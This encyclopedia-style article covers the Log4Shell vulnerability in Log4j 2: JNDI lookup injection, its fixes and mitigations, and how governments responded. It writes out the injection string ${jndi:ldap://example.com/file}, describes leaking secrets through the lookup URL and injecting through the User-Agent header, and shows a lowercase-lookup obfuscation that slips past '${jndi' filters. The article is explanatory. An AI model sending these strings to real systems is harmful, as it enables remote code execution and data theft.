Log4Shell

Log4j is an open source logging framework that allows software developers to log data within their applications. This data can include user input.[15] It is used ubiquitously in Java applications, especially enterprise software.[5] Originally written in 2001 by Ceki Gülcü, it is now part of Apache Logging Services, a project of the Apache Software Foundation.[16]

The Java Naming and Directory Interface (JNDI) allows for lookup of Java objects at program runtime given a path to their data. JNDI can leverage several directory interfaces, each providing a different scheme of looking up files. Among these interfaces is the Lightweight Directory Access Protocol (LDAP), a non-Java-specific protocol[17] which retrieves the object data as a URL from an appropriate server, either local or anywhere on the Internet.[18]

In the default configuration, when logging a string, Log4j 2 performs string substitution on expressions of the form ${prefix:name}.[18] For example, Text: ${java:version} might be converted to Text: Java version 1.7.0_67.[19] Among the recognized expressions is ${jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL.[18] Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which they will be substituted and sent to the attacker's server.[20][21] Besides LDAP, other potentially exploitable JNDI lookup protocols include its secure variant LDAPS, Java Remote Method Invocation (RMI), the Domain Name System (DNS), and the Internet Inter-ORB Protocol (IIOP).[22][23]

Because HTTP requests are frequently logged, a common attack vector is placing the malicious string in the HTTP request URL or a commonly logged HTTP header, such as User-Agent. Early mitigations included blocking any requests containing potentially malicious contents, such as ${jndi.[24] Naive searches can be circumvented by obfuscating the request: ${${lower:j}ndi, for example, will be converted into a JNDI lookup after performing the lowercase operation on the letter j.[25] Even if an input, such as a first name, is not immediately logged, it may be later logged during internal processing and its contents executed.[18]

Fixes for this vulnerability were released on 6 December 2021, three days before the vulnerability was published, in Log4j version 2.15.0-rc1.[26] The fix included restricting the servers and protocols that may be used for lookups. Researchers discovered a related bug, CVE-2021-45046, that allows denial of service attacks in certain non-default configurations and was fixed in version 2.16.0, which disabled all features using JNDI and support for message lookups.[27][28][29] For previous versions, the class org.apache.logging.log4j.core.lookup.JndiLookup needs to be removed from the classpath to mitigate both vulnerabilities.[14][27] An early recommended fix for older versions was to set the system property log4j2.formatMsgNoLookups to true, but this change does not prevent exploitation of CVE-2021-45046.[27]

Newer versions of the Java Runtime Environment (JRE) also mitigate this vulnerability by blocking remote code from being loaded by default, although other attack vectors still exist in certain applications.[20][2][30][31] Several methods and tools have been published to help detect the usage of vulnerable log4j versions in built Java packages.[32]

In the United States, the director of the Cybersecurity and Infrastructure Security Agency (CISA), Jen Easterly, termed the exploit "critical" and advised vendors to prioritize software updates,[33] and the Canadian Centre for Cyber Security (CCCS) called on organizations to take on immediate action.[34] Germany's Bundesamt für Sicherheit in der Informationstechnik (BSI) designated the exploit as being at the agency's highest threat level, calling it an "extremely critical threat situation" (translated). It also reported that several attacks were already successful and that the extent of the exploit remained hard to assess.[35][36] The Netherlands's National Cyber Security Centre (NCSC) began an on-going list of vulnerable applications.[37][38]

According to Cloudflare CEO Matthew Prince, evidence for usage or testing of the exploit goes back as early as 1 December, nine days before it was publicly disclosed.[39] According to cybersecurity firm GreyNoise, several IP addresses were scraping websites to check for servers that had the vulnerability.[40] The Canada Revenue Agency temporarily shut down its online services after learning of the exploit, while the Government of Quebec closed almost 4000 of its websites as a "preventative measure."[41]

As of 14 December 2021, almost half of all corporate networks globally have been actively probed, with over 60 variants of the exploit having been produced within 24 hours.[42] Check Point Software Technologies in a detailed analysis described the situation as being "a true cyber-pandemic" and characterizing the potential for damage as being "incalculable".[43] Several botnets began scanning for the vulnerability, including the Muhstik botnet by 10 December and the Mirai botnet.[44][39]

• Log4j website
• NCSC overview of Log4Shell on GitHub
• Common Vulnerabilities and Exposures page
• National Vulnerabilities Database page